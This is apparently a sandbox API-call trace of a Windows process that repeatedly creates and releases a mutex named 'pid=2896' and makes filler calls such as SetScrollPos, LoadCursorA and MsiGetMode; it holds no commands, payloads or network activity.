	[0094.977] ReleaseMutex (hMutex=0x360) returned 1
	[0094.977] CloseHandle (hObject=0x360) returned 1
	[0094.977] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-389191856, bRedraw=1) returned 0
	[0094.977] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.977] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.977] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.977] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.977] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.977] GetCurrentProcessId () returned 0xb50
	[0094.977] GetLastError () returned 0x578
	[0094.977] GetLastError () returned 0x578
	[0094.977] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.977] GetLastError () returned 0x0
	[0094.977] ReleaseMutex (hMutex=0x360) returned 1
	[0094.977] CloseHandle (hObject=0x360) returned 1
	[0094.977] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=2088327166, bRedraw=1) returned 0
	[0094.977] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.977] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.978] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.978] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.978] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.978] GetCurrentProcessId () returned 0xb50
	[0094.978] GetLastError () returned 0x578
	[0094.978] GetLastError () returned 0x578
	[0094.978] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.978] GetLastError () returned 0x0
	[0094.978] ReleaseMutex (hMutex=0x360) returned 1
	[0094.978] CloseHandle (hObject=0x360) returned 1
	[0094.978] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=280508844, bRedraw=1) returned 0
	[0094.978] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.978] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.978] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.978] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.978] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.978] GetCurrentProcessId () returned 0xb50
	[0094.978] GetLastError () returned 0x578
	[0094.978] GetLastError () returned 0x578
	[0094.978] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.978] GetLastError () returned 0x0
	[0094.978] ReleaseMutex (hMutex=0x360) returned 1
	[0094.979] CloseHandle (hObject=0x360) returned 1
	[0094.979] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1517679526, bRedraw=1) returned 0
	[0094.979] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.979] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.979] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.979] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.979] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.979] GetCurrentProcessId () returned 0xb50
	[0094.979] GetLastError () returned 0x578
	[0094.979] GetLastError () returned 0x578
	[0094.979] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.979] GetLastError () returned 0x0
	[0094.979] ReleaseMutex (hMutex=0x360) returned 1
	[0094.979] CloseHandle (hObject=0x360) returned 1
	[0094.979] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=988729352, bRedraw=1) returned 0
	[0094.980] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.980] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.980] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.980] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.980] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.980] GetCurrentProcessId () returned 0xb50
	[0094.980] GetLastError () returned 0x578
	[0094.980] GetLastError () returned 0x578
	[0094.981] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.981] GetLastError () returned 0x0
	[0094.981] ReleaseMutex (hMutex=0x360) returned 1
	[0094.981] CloseHandle (hObject=0x360) returned 1
	[0094.981] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-790199114, bRedraw=1) returned 0
	[0094.981] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.981] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.981] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.981] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.981] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.981] GetCurrentProcessId () returned 0xb50
	[0094.981] GetLastError () returned 0x578
	[0094.981] GetLastError () returned 0x578
	[0094.981] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.981] GetLastError () returned 0x0
	[0094.981] ReleaseMutex (hMutex=0x360) returned 1
	[0094.981] CloseHandle (hObject=0x360) returned 1
	[0094.981] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1735469668, bRedraw=1) returned 0
	[0094.981] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.981] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.981] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.982] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.982] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.982] GetCurrentProcessId () returned 0xb50
	[0094.982] GetLastError () returned 0x578
	[0094.982] GetLastError () returned 0x578
	[0094.982] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.982] GetLastError () returned 0x0
	[0094.982] ReleaseMutex (hMutex=0x360) returned 1
	[0094.982] CloseHandle (hObject=0x360) returned 1
	[0094.982] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-24198894, bRedraw=1) returned 0
	[0094.982] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.982] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.982] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.982] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.982] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.982] GetCurrentProcessId () returned 0xb50
	[0094.982] GetLastError () returned 0x578
	[0094.982] GetLastError () returned 0x578
	[0094.982] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.982] GetLastError () returned 0x0
	[0094.982] ReleaseMutex (hMutex=0x360) returned 1
	[0094.982] CloseHandle (hObject=0x360) returned 1
	[0094.983] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1774237504, bRedraw=1) returned 0
	[0094.983] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.983] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.983] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.983] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.983] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.983] GetCurrentProcessId () returned 0xb50
	[0094.983] GetLastError () returned 0x578
	[0094.983] GetLastError () returned 0x578
	[0094.983] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.983] GetLastError () returned 0x0
	[0094.983] ReleaseMutex (hMutex=0x360) returned 1
	[0094.983] CloseHandle (hObject=0x360) returned 1
	[0094.983] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=780321134, bRedraw=1) returned 0
	[0094.983] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.983] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.983] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.983] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.983] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.983] GetCurrentProcessId () returned 0xb50
	[0094.983] GetLastError () returned 0x578
	[0094.984] GetLastError () returned 0x578
	[0094.984] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.984] GetLastError () returned 0x0
	[0094.984] ReleaseMutex (hMutex=0x360) returned 1
	[0094.984] CloseHandle (hObject=0x360) returned 1
	[0094.984] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-950457572, bRedraw=1) returned 0
	[0094.984] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.984] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.984] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.984] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.984] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.984] GetCurrentProcessId () returned 0xb50
	[0094.984] GetLastError () returned 0x578
	[0094.984] GetLastError () returned 0x578
	[0094.984] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.984] GetLastError () returned 0x0
	[0094.984] ReleaseMutex (hMutex=0x360) returned 1
	[0094.984] CloseHandle (hObject=0x360) returned 1
	[0094.984] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1623360970, bRedraw=1) returned 0
	[0094.984] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.984] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.985] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.985] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.985] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.985] GetCurrentProcessId () returned 0xb50
	[0094.985] GetLastError () returned 0x578
	[0094.985] GetLastError () returned 0x578
	[0094.985] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.985] GetLastError () returned 0x0
	[0094.985] ReleaseMutex (hMutex=0x360) returned 1
	[0094.985] CloseHandle (hObject=0x360) returned 1
	[0094.985] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-88157832, bRedraw=1) returned 0
	[0094.985] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.985] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.985] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.985] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.985] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.985] GetCurrentProcessId () returned 0xb50
	[0094.985] GetLastError () returned 0x578
	[0094.985] GetLastError () returned 0x578
	[0094.985] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.985] GetLastError () returned 0x0
	[0094.985] ReleaseMutex (hMutex=0x360) returned 1
	[0094.985] CloseHandle (hObject=0x360) returned 1
	[0094.986] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1790046682, bRedraw=1) returned 0
	[0094.986] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.986] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.986] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.986] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.986] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.986] GetCurrentProcessId () returned 0xb50
	[0094.986] GetLastError () returned 0x578
	[0094.986] GetLastError () returned 0x578
	[0094.986] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.986] GetLastError () returned 0x0
	[0094.986] ReleaseMutex (hMutex=0x360) returned 1
	[0094.986] CloseHandle (hObject=0x360) returned 1
	[0094.986] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=812661716, bRedraw=1) returned 0
	[0094.986] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.986] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.986] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.986] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.986] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.986] GetCurrentProcessId () returned 0xb50
	[0094.986] GetLastError () returned 0x578
	[0094.987] GetLastError () returned 0x578
	[0094.987] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.987] GetLastError () returned 0x0
	[0094.987] ReleaseMutex (hMutex=0x360) returned 1
	[0094.987] CloseHandle (hObject=0x360) returned 1
	[0094.987] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-869967230, bRedraw=1) returned 0
	[0094.987] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.987] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.987] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.987] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.987] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.987] GetCurrentProcessId () returned 0xb50
	[0094.987] GetLastError () returned 0x578
	[0094.987] GetLastError () returned 0x578
	[0094.987] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.987] GetLastError () returned 0x0
	[0094.987] ReleaseMutex (hMutex=0x360) returned 1
	[0094.987] CloseHandle (hObject=0x360) returned 1
	[0094.987] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1752001072, bRedraw=1) returned 0
	[0094.987] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.988] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.988] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.988] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.988] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.988] GetCurrentProcessId () returned 0xb50
	[0094.988] GetLastError () returned 0x578
	[0094.988] GetLastError () returned 0x578
	[0094.988] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.988] GetLastError () returned 0x0
	[0094.988] ReleaseMutex (hMutex=0x360) returned 1
	[0094.988] CloseHandle (hObject=0x360) returned 1
	[0094.988] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=88632030, bRedraw=1) returned 0
	[0094.988] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.988] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.988] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.988] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.988] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.988] GetCurrentProcessId () returned 0xb50
	[0094.988] GetLastError () returned 0x578
	[0094.988] GetLastError () returned 0x578
	[0094.988] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.989] GetLastError () returned 0x0
	[0094.989] ReleaseMutex (hMutex=0x360) returned 1
	[0094.989] CloseHandle (hObject=0x360) returned 1
	[0094.989] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1565107060, bRedraw=1) returned 0
	[0094.989] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.989] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.989] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.989] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.989] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.989] GetCurrentProcessId () returned 0xb50
	[0094.989] GetLastError () returned 0x578
	[0094.989] GetLastError () returned 0x578
	[0094.989] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.989] GetLastError () returned 0x0
	[0094.989] ReleaseMutex (hMutex=0x360) returned 1
	[0094.989] CloseHandle (hObject=0x360) returned 1
	[0094.989] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1085751098, bRedraw=1) returned 0
	[0094.989] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.989] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.989] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.989] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.989] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.989] GetCurrentProcessId () returned 0xb50
	[0094.990] GetLastError () returned 0x578
	[0094.990] GetLastError () returned 0x578
	[0094.990] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.990] GetLastError () returned 0x0
	[0094.990] ReleaseMutex (hMutex=0x360) returned 1
	[0094.990] CloseHandle (hObject=0x360) returned 1
	[0094.990] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-548728088, bRedraw=1) returned 0
	[0094.990] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.990] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.990] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.990] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.990] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.990] GetCurrentProcessId () returned 0xb50
	[0094.990] GetLastError () returned 0x578
	[0094.990] GetLastError () returned 0x578
	[0094.990] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.990] GetLastError () returned 0x0
	[0094.990] ReleaseMutex (hMutex=0x360) returned 1
	[0094.990] CloseHandle (hObject=0x360) returned 1
	[0094.990] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=2121389974, bRedraw=1) returned 0
	[0094.991] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.991] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.991] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.991] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.991] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.991] GetCurrentProcessId () returned 0xb50
	[0094.991] GetLastError () returned 0x578
	[0094.991] GetLastError () returned 0x578
	[0094.991] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.991] GetLastError () returned 0x0
	[0094.991] ReleaseMutex (hMutex=0x360) returned 1
	[0094.991] CloseHandle (hObject=0x360) returned 1
	[0094.991] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=506170692, bRedraw=1) returned 0
	[0094.991] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.991] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.991] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.991] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.991] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.991] GetCurrentProcessId () returned 0xb50
	[0094.991] GetLastError () returned 0x578
	[0094.991] GetLastError () returned 0x578
	[0094.992] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.992] GetLastError () returned 0x0
	[0094.992] ReleaseMutex (hMutex=0x360) returned 1
	[0094.992] CloseHandle (hObject=0x360) returned 1
	[0094.992] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1099418638, bRedraw=1) returned 0
	[0094.992] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.992] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.992] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.992] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.992] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.992] GetCurrentProcessId () returned 0xb50
	[0094.992] GetLastError () returned 0x578
	[0094.992] GetLastError () returned 0x578
	[0094.992] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.992] GetLastError () returned 0x0
	[0094.992] ReleaseMutex (hMutex=0x360) returned 1
	[0094.992] CloseHandle (hObject=0x360) returned 1
	[0094.992] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1599589280, bRedraw=1) returned 0
	[0094.992] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.992] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.992] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.993] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.993] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.993] GetCurrentProcessId () returned 0xb50
	[0094.993] GetLastError () returned 0x578
	[0094.993] GetLastError () returned 0x578
	[0094.993] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.993] GetLastError () returned 0x0
	[0094.993] ReleaseMutex (hMutex=0x360) returned 1
	[0094.993] CloseHandle (hObject=0x360) returned 1
	[0094.993] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=13259854, bRedraw=1) returned 0
	[0094.993] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.993] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.993] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.993] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.993] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.993] GetCurrentProcessId () returned 0xb50
	[0094.993] GetLastError () returned 0x578
	[0094.993] GetLastError () returned 0x578
	[0094.993] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.993] GetLastError () returned 0x0
	[0094.993] ReleaseMutex (hMutex=0x360) returned 1
	[0094.993] CloseHandle (hObject=0x360) returned 1
	[0094.993] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1563439620, bRedraw=1) returned 0
	[0094.994] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.994] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.994] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.994] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.994] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.994] GetCurrentProcessId () returned 0xb50
	[0094.994] GetLastError () returned 0x578
	[0094.994] GetLastError () returned 0x578
	[0094.994] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.994] GetLastError () returned 0x0
	[0094.994] ReleaseMutex (hMutex=0x360) returned 1
	[0094.994] CloseHandle (hObject=0x360) returned 1
	[0094.994] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1164458154, bRedraw=1) returned 0
	[0094.994] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.994] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.994] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.994] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.994] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.994] GetCurrentProcessId () returned 0xb50
	[0094.994] GetLastError () returned 0x578
	[0094.994] GetLastError () returned 0x578
	[0094.995] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.995] GetLastError () returned 0x0
	[0094.995] ReleaseMutex (hMutex=0x360) returned 1
	[0094.995] CloseHandle (hObject=0x360) returned 1
	[0094.995] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-392981416, bRedraw=1) returned 0
	[0094.995] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.995] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.995] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.995] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.995] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.995] GetCurrentProcessId () returned 0xb50
	[0094.995] GetLastError () returned 0x578
	[0094.995] GetLastError () returned 0x578
	[0094.995] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.995] GetLastError () returned 0x0
	[0094.995] ReleaseMutex (hMutex=0x360) returned 1
	[0094.995] CloseHandle (hObject=0x360) returned 1
	[0094.995] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1940791034, bRedraw=1) returned 0
	[0094.995] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.995] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.996] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
